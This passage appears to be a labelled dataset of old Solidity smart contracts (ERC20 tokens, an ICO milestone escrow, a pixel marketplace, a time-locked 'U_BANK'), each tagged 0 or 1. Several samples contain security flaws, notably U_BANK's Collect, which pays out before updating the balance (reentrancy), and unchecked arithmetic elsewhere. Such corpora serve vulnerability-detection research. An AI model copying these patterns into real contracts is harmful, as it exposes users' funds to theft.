trustee.transferOwnership(_newOwnerCandidate); } function acceptTrusteeOwnership() external onlyOwner { trustee.acceptOwnership(); } }
0
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Base { modifier only(address allowed) { require(msg.sender == allowed); _; } } contract Owned is Base { address public owner; address newOwner; function Owned() public { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) public { newOwner = _newOwner; } function acceptOwnership() only(newOwner) public { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { using SafeMath for uint; bool public isStarted = false; modifier isStartedOnly() { require(isStarted); _; } modifier isNotStartedOnly() { require(!isStarted); _; } event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) isStartedOnly public returns (bool success) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) isStartedOnly public returns (bool success) { require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint balance) { return balances[_owner]; } function approve_fixed(address _spender, uint _currentValue, uint _value) isStartedOnly public returns (bool success) { if(allowed[msg.sender][_spender] == _currentValue){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } else { return false; } } function approve(address _spender, uint _value) isStartedOnly public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint remaining) { return allowed[_owner][_spender]; } mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; } contract Token is ERC20 { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; function Token(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function start() public only(owner) isNotStartedOnly { isStarted = true; } function mint(address _to, uint _amount) public only(owner) isNotStartedOnly returns(bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function multimint(address[] dests, uint[] values) public only(owner) isNotStartedOnly returns (uint) { uint i = 0; while (i < dests.length) { mint(dests[i], values[i]); i += 1; } return(i); } } contract TokenWithoutStart is Owned { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public totalSupply; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function TokenWithoutStart(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address _to, uint _value) public returns (bool success) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint balance) { return balances[_owner]; } function approve_fixed(address _spender, uint _currentValue, uint _value) public returns (bool success) { if(allowed[msg.sender][_spender] == _currentValue){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } else { return false; } } function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint remaining) { return allowed[_owner][_spender]; } mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; function mint(address _to, uint _amount) public only(owner) returns(bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function multimint(address[] dests, uint[] values) public only(owner) returns (uint) { uint i = 0; while (i < dests.length) { mint(dests[i], values[i]); i += 1; } return(i); } } contract ICOContract { address public projectWallet; address public operator = 0x4C67EB86d70354731f11981aeE91d969e3823c39; uint public constant waitPeriod = 7 days; address[] public pendingInvestContracts = [0x0]; mapping(address => uint) public pendingInvestContractsIndices; address[] public investContracts = [0x0]; mapping(address => uint) public investContractsIndices; uint public minimalInvestment = 5 ether; uint public totalEther; uint public totalToken; uint public tokenLeft; uint public etherLeft; Token public token; uint public minimumCap; uint public maximumCap; struct Milestone { uint etherAmount; uint tokenAmount; uint startTime; uint finishTime; uint duration; string description; string results; } Milestone[] public milestones; uint public currentMilestone; uint public sealTimestamp; modifier only(address _sender) { require(msg.sender == _sender); _; } modifier notSealed() { require(now <= sealTimestamp); _; } modifier sealed() { require(now > sealTimestamp); _; } function ICOContract(address _tokenAddress, address _projectWallet, uint _sealTimestamp, uint _minimumCap, uint _maximumCap) public { token = Token(_tokenAddress); projectWallet = _projectWallet; sealTimestamp = _sealTimestamp; minimumCap = _minimumCap; maximumCap = _maximumCap; } function addMilestone(uint _etherAmount, uint _tokenAmount, uint _startTime, uint _duration, string _description, string _result) notSealed only(operator) public returns(uint) { totalEther += _etherAmount; totalToken += _tokenAmount; return milestones.push(Milestone(_etherAmount, _tokenAmount, _startTime, 0, _duration, _description, _result)); } function editMilestone(uint _id, uint _etherAmount, uint _tokenAmount, uint _startTime, uint _duration, string _description, string _results) notSealed only(operator) public { require(_id < milestones.length); totalEther = totalEther - milestones[_id].etherAmount + _etherAmount; totalToken = totalToken - milestones[_id].tokenAmount + _tokenAmount; milestones[_id].etherAmount = _etherAmount; milestones[_id].tokenAmount = _tokenAmount; milestones[_id].startTime = _startTime; milestones[_id].duration = _duration; milestones[_id].description = _description; milestones[_id].results = _results; } function seal() only(operator) notSealed() public { assert(milestones.length > 0); sealTimestamp = now; etherLeft = totalEther; tokenLeft = totalToken; } function finishMilestone(string _results) only(operator) public { var milestone = getCurrentMilestone(); milestones[milestone].finishTime = now; milestones[milestone].results = _results; } function startNextMilestone() public only(operator) { uint milestone = getCurrentMilestone(); require(milestones[currentMilestone].finishTime == 0); currentMilestone +=1; milestones[currentMilestone].startTime = now; for(uint i=1; i < investContracts.length; i++) { InvestContract investContract = InvestContract(investContracts[i]); investContract.milestoneStarted(milestone); } } function getCurrentMilestone() public constant returns(uint) { return currentMilestone; } function milestonesLength() public view returns(uint) { return milestones.length; } function createInvestContract(address _investor, uint _etherAmount, uint _tokenAmount) public sealed only(operator) returns(address) { require(_etherAmount >= minimalInvestment); address investContract = new InvestContract(address(this), _investor, _etherAmount, _tokenAmount); pendingInvestContracts.push(investContract); pendingInvestContractsIndices[investContract]=(pendingInvestContracts.length-1); return(investContract); } function investContractDeposited() public { uint index = pendingInvestContractsIndices[msg.sender]; assert(index > 0); uint len = pendingInvestContracts.length; InvestContract investContract = InvestContract(pendingInvestContracts[index]); pendingInvestContracts[index] = pendingInvestContracts[len-1]; pendingInvestContracts.length = len-1; investContracts.push(msg.sender); investContractsIndices[msg.sender]=investContracts.length-1; uint investmentToken = investContract.tokenAmount(); uint investmentEther = investContract.etherAmount(); etherLeft -= investmentEther; tokenLeft -= investmentToken; assert(token.transfer(msg.sender, investmentToken)); } function returnTokens() public only(operator) { uint balance = token.balanceOf(address(this)); token.transfer(projectWallet, balance); } } contract Pullable { using SafeMath for uint256; mapping(address => uint256) public payments; function withdrawPayment() public { address payee = msg.sender; uint256 payment = payments[payee]; require(payment != 0); require(this.balance >= payment); payments[payee] = 0; assert(payee.send(payment)); } function asyncSend(address _destination, uint256 _amount) internal { payments[_destination] = payments[_destination].add(_amount); } } contract TokenPullable { using SafeMath for uint256; Token public token; mapping(address => uint256) public tokenPayments; function TokenPullable(address _ico) public { ICOContract icoContract = ICOContract(_ico); token = icoContract.token(); } function withdrawTokenPayment() public { address tokenPayee = msg.sender; uint256 tokenPayment = tokenPayments[tokenPayee]; require(tokenPayment != 0); require(token.balanceOf(address(this)) >= tokenPayment); tokenPayments[tokenPayee] = 0; assert(token.transfer(tokenPayee, tokenPayment)); } function asyncTokenSend(address _destination, uint _amount) internal { tokenPayments[_destination] = tokenPayments[_destination].add(_amount); } } contract InvestContract is TokenPullable, Pullable { address public projectWallet; address public investor; uint public arbiterAcceptCount = 0; uint public quorum; ICOContract public icoContract; uint[] public etherPartition; uint[] public tokenPartition; struct ArbiterInfo { uint index; bool accepted; uint voteDelay; } mapping(address => ArbiterInfo) public arbiters; address[] public arbiterList = [0x0]; struct Dispute { uint timestamp; string reason; address[5] voters; mapping(address => address) votes; uint votesProject; uint votesInvestor; } mapping(uint => Dispute) public disputes; uint public etherAmount; uint public tokenAmount; bool public disputing=false; uint public amountToPay; modifier only(address _sender) { require(msg.sender == _sender); _; } modifier onlyArbiter() { require(arbiters[msg.sender].voteDelay > 0); _; } function InvestContract(address _ICOContractAddress, address _investor, uint _etherAmount, uint _tokenAmount) TokenPullable(_ICOContractAddress) public { icoContract = ICOContract(_ICOContractAddress); token = icoContract.token(); etherAmount = _etherAmount; tokenAmount = _tokenAmount; projectWallet = icoContract.projectWallet(); investor = _investor; amountToPay = etherAmount*101/100; quorum = 3; addAcceptedArbiter(0x42efbba0563AE5aa2312BeBce1C18C6722B67857, 1); addAcceptedArbiter(0x37D5953c24a2efD372C97B06f22416b68e896eaf, 1); addAcceptedArbiter(0xd0D2e05Fd34d566612529512F7Af1F8a60EDAb6C, 1); addAcceptedArbiter(0xB6508aFaCe815e481bf3B3Fa9B4117D46C963Ec3, 1); addAcceptedArbiter(0x73380dc12B629FB7fBD221E05D25E42f5f3FAB11, 1); arbiterAcceptCount = 5; uint milestoneEtherAmount; uint milestoneTokenAmount; uint milestoneEtherTarget; uint milestoneTokenTarget; uint totalEtherInvestment; uint totalTokenInvestment; for(uint i=0; i<icoContract.milestonesLength(); i++) { (milestoneEtherTarget, milestoneTokenTarget, , , , , ) = icoContract.milestones(i); milestoneEtherAmount = _etherAmount * milestoneEtherTarget / icoContract.totalEther(); milestoneTokenAmount = _tokenAmount * milestoneTokenTarget / icoContract.totalToken(); totalEtherInvestment += milestoneEtherAmount; totalTokenInvestment += milestoneTokenAmount; etherPartition.push(milestoneEtherAmount); tokenPartition.push(milestoneTokenAmount); } etherPartition[0] += _etherAmount - totalEtherInvestment; tokenPartition[0] += _tokenAmount - totalTokenInvestment; } function() payable public only(investor) { require(arbiterAcceptCount >= quorum); require(msg.value == amountToPay); require(getCurrentMilestone() == 0); icoContract.investContractDeposited(); } function addAcceptedArbiter(address _arbiter, uint _delay) internal { require(token.balanceOf(address(this))==0); require(_delay > 0); var index = arbiterList.push(_arbiter); arbiters[_arbiter] = ArbiterInfo(index, true, _delay); } function vote(address _voteAddress) public onlyArbiter { require(_voteAddress == investor || _voteAddress == projectWallet); require(disputing); uint milestone = getCurrentMilestone(); require(milestone > 0); require(disputes[milestone].votes[msg.sender] == 0); require(now - disputes[milestone].timestamp >= arbiters[msg.sender].voteDelay); disputes[milestone].votes[msg.sender] = _voteAddress; disputes[milestone].voters[disputes[milestone].votesProject+disputes[milestone].votesInvestor] = msg.sender; if (_voteAddress == projectWallet) { disputes[milestone].votesProject += 1; } else if (_voteAddress == investor) { disputes[milestone].votesInvestor += 1; } else { revert(); } if (disputes[milestone].votesProject >= quorum) { executeVerdict(true); } if (disputes[milestone].votesInvestor >= quorum) { executeVerdict(false); } } function executeVerdict(bool _projectWon) internal { disputing = false; if (_projectWon) { } else { } } function openDispute(string _reason) public only(investor) { assert(!disputing); var milestone = getCurrentMilestone(); assert(milestone > 0); disputing = true; disputes[milestone].timestamp = now; disputes[milestone].reason = _reason; } function milestoneStarted(uint _milestone) public only(address(icoContract)) { require(!disputing); var etherToSend = etherPartition[_milestone]; var tokensToSend = tokenPartition[_milestone]; asyncSend(projectWallet, etherToSend); asyncTokenSend(investor, tokensToSend); } function getCurrentMilestone() public constant returns(uint) { return icoContract.getCurrentMilestone(); } }
0
pragma solidity ^0.4.24; contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PixelStorage is Ownable{ uint32[] coordinates; uint32[] rgba; address[] owners; uint256[] prices; uint32 public pixelCount; mapping(uint32 => uint32) coordinatesToIndex; constructor () public { pixelCount = 0; } function getBalance() public view returns (uint256) { return address(this).balance; } function withdraw() onlyOwner public { msg.sender.transfer(address(this).balance); } function buyPixel(uint16 _x, uint16 _y, uint32 _rgba) public payable { require(0 <= _x && _x < 0x200, "X should be in range 0-511"); require(0 <= _y && _y < 0x200, "Y should be in range 0-511"); uint32 coordinate = uint32(_x) << 16 | _y; uint32 index = coordinatesToIndex[coordinate]; if(index == 0) { require(msg.value >= 1 finney, "Send atleast one finney!"); pixelCount += 1; coordinatesToIndex[coordinate] = pixelCount; coordinates.push(coordinate); rgba.push(_rgba); prices.push(msg.value); owners.push(msg.sender); } else { require(msg.value >= prices[index-1] + 1 finney , "Insufficient funds send(atleast price + 1 finney)!"); prices[index-1] = msg.value; owners[index-1] = msg.sender; rgba[index-1] = _rgba; } } function getPixels() public view returns (uint32[], uint32[], address[],uint256[]) { return (coordinates,rgba,owners,prices); } function getPixel(uint16 _x, uint16 _y) public view returns (uint32, address, uint256){ uint32 coordinate = uint32(_x) << 16 | _y; uint32 index = coordinatesToIndex[coordinate]; if(index == 0){ return (0, address(0x0), 0); }else{ return ( rgba[index-1], owners[index-1], prices[index-1] ); } } }
1
library SafeMath { function mul(uint256 a, uint256 b) constant public returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) constant public returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) constant public returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) constant public returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { if(msg.sender == owner){ _; } else{ revert(); } } function transferOwnership(address newOwner) onlyOwner public{ if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant public returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { if(!mintingFinished){ _; } else{ revert(); } } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract CoinI{ uint256 public totalSupply ; } contract IcoI{ function getAllTimes() public constant returns(uint256,uint256,uint256); function getCabCoinsAmount() public constant returns(uint256); uint256 public minimumGoal; } contract StatsContract is Ownable{ CoinI public coin; IcoI public ico; address public dev; function setAddresses(address devA,address coinA, address icoA) onlyOwner public{ ico = IcoI(icoA); dev = devA; coin = CoinI(coinA); } function getStats() constant returns (address,address,uint256,uint256,uint256,uint256,uint256,uint256){ address[2] memory adr; adr[0] = address(coin); adr[1] = address(ico); var (toStart,toEndPhase,toEndAll) = ico.getAllTimes(); var amountSold = coin.totalSupply()/(10**18); var maxSupply = ico.minimumGoal()/(10**18); var ethRised = (adr[1].balance + dev.balance)/(10**15); return (adr[0], adr[1], toStart, toEndPhase, toEndAll, amountSold, maxSupply, ethRised); } }
1
pragma solidity ^0.4.25; contract U_BANK { function Put(uint _unlockTime) public payable { var acc = Acc[msg.sender]; acc.balance += msg.value; acc.unlockTime = _unlockTime>now?_unlockTime:now; LogFile.AddMessage(msg.sender,msg.value,"Put"); } function Collect(uint _am) public payable { var acc = Acc[msg.sender]; if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) { if(msg.sender.call.value(_am)()) { acc.balance-=_am; LogFile.AddMessage(msg.sender,_am,"Collect"); } } } function() public payable { Put(0); } struct Holder { uint unlockTime; uint balance; } mapping (address => Holder) public Acc; Log LogFile; uint public MinSum = 2 ether; function U_BANK(address log) public{ LogFile = Log(log); } } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } }
0
pragma solidity ^0.4.18; contract Owner { address public owner; bool public stopped = false; function Owner() internal { owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } function transferOwnership(address newOwner) external onlyOwner { require (newOwner != 0x0); require (newOwner != owner); OwnerUpdate(owner, newOwner); owner = newOwner; } function toggleContractActive() onlyOwner public { stopped = !stopped; } modifier stopInEmergency { require(stopped == false); _; } modifier onlyInEmergency { require(stopped == true); _; } event OwnerUpdate(address _prevOwner, address _newOwner); } contract Mortal is Owner { function close() external onlyOwner { selfdestruct(owner); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token is Owner, Mortal { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; struct Fund{ uint amount; uint unlockStartTime; uint unlockInterval; uint unlockPercent; bool isValue; } mapping (address => uint) public balances; mapping(address => mapping(address => uint)) approved; mapping (address => Fund) public frozenAccount; event Transfer(address indexed from, address indexed to, uint value); event FrozenFunds(address indexed target, uint value, uint unlockStartTime, uint unlockIntervalUnit, uint unlockInterval, uint unlockPercent); event Approval(address indexed accountOwner, address indexed spender, uint256 value); modifier onlyPayloadSize(uint256 size) { require(msg.data.length == size + 4); _; } function freezeAccount(address target, uint value, uint unlockStartTime, uint unlockIntervalUnit, uint unlockInterval, uint unlockPercent) external onlyOwner freezeOutCheck(target, 0) { require (value > 0); require (frozenAccount[target].isValue == false); require (balances[msg.sender] >= value); require (unlockStartTime > now); require (unlockInterval > 0); require (unlockPercent > 0 && unlockPercent <= 100); uint unlockIntervalSecond = toSecond(unlockIntervalUnit, unlockInterval); frozenAccount[target] = Fund(value, unlockStartTime, unlockIntervalSecond, unlockPercent, true); FrozenFunds(target, value, unlockStartTime, unlockIntervalUnit, unlockInterval, unlockPercent); } function transferAndFreeze(address target, uint256 value, uint unlockStartTime, uint unlockIntervalUnit, uint unlockInterval, uint unlockPercent) external onlyOwner freezeOutCheck(target, 0) { require (value > 0); require (frozenAccount[target].isValue == false); require (unlockStartTime > now); require (unlockInterval > 0); require (unlockPercent > 0 && unlockPercent <= 100); _transfer(msg.sender, target, value); uint unlockIntervalSecond = toSecond(unlockIntervalUnit, unlockInterval); frozenAccount[target] = Fund(value, unlockStartTime, unlockIntervalSecond, unlockPercent, true); FrozenFunds(target, value, unlockStartTime, unlockIntervalUnit, unlockInterval, unlockPercent); } function toSecond(uint unitType, uint value) internal pure returns (uint256 Seconds) { uint _seconds; if (unitType == 5){ _seconds = value.mul(1 years); }else if(unitType == 4){ _seconds = value.mul(1 days); }else if (unitType == 3){ _seconds = value.mul(1 hours); }else if (unitType == 2){ _seconds = value.mul(1 minutes); }else if (unitType == 1){ _seconds = value; }else{ revert(); } return _seconds; } modifier freezeOutCheck(address sender, uint value) { require ( getAvailableBalance(sender) >= value); _; } function getAvailableBalance(address sender) internal returns(uint balance) { if (frozenAccount[sender].isValue) { if (now < frozenAccount[sender].unlockStartTime){ return balances[sender] - frozenAccount[sender].amount; }else{ uint unlockPercent = ((now - frozenAccount[sender].unlockStartTime ) / frozenAccount[sender].unlockInterval + 1) * frozenAccount[sender].unlockPercent; if (unlockPercent > 100){ unlockPercent = 100; } assert(frozenAccount[sender].amount <= balances[sender]); uint available = balances[sender] - (100 - unlockPercent) * frozenAccount[sender].amount / 100; if ( unlockPercent >= 100){ frozenAccount[sender].isValue = false; delete frozenAccount[sender]; } return available; } } return balances[sender]; } function balanceOf(address sender) constant external returns (uint256 balance){ return balances[sender]; } function transfer(address to, uint256 value) external stopInEmergency onlyPayloadSize(2 * 32) { _transfer(msg.sender, to, value); } function _transfer(address _from, address _to, uint _value) internal freezeOutCheck(_from, _value) { require(_to != 0x0); require(_from != _to); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); } function approve(address spender, uint value) external returns (bool success) { approved[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } function allowance(address accountOwner, address spender) constant external returns (uint remaining) { return approved[accountOwner][spender]; } function transferFrom(address from, address to, uint256 value) external stopInEmergency freezeOutCheck(from, value) returns (bool success) { require(value > 0); require(value <= approved[from][msg.sender]); require(value <= balances[from]); approved[from][msg.sender] = approved[from][msg.sender].sub(value); _transfer(from, to, value); return true; } } contract MigrationAgent { function migrateFrom(address from, uint256 value) public; } contract UpgradeableToken is Owner, Token { address public migrationAgent; event Upgrade(address indexed from, address indexed to, uint256 value); event UpgradeAgentSet(address agent); function migrate() public { require(migrationAgent != 0); uint value = balances[msg.sender]; balances[msg.sender] = balances[msg.sender].sub(value); totalSupply = totalSupply.sub(value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); Upgrade(msg.sender, migrationAgent, value); } function () public payable { require(migrationAgent != 0); require(balances[msg.sender] > 0); migrate(); msg.sender.transfer(msg.value); } function setMigrationAgent(address _agent) onlyOwner external { migrationAgent = _agent; UpgradeAgentSet(_agent); } } contract VIPToken is UpgradeableToken { function VIPToken() public { name = "VIP Tokens"; symbol = "VIP"; decimals = 18; owner = msg.sender; uint initialSupply = 300000000; totalSupply = initialSupply * 10 ** uint256(decimals); require (totalSupply >= initialSupply); balances[msg.sender] = totalSupply; Transfer(0x0, msg.sender, totalSupply); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xc70b61bE0c889f8244A46D332dF0FECF224d44Ee; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); 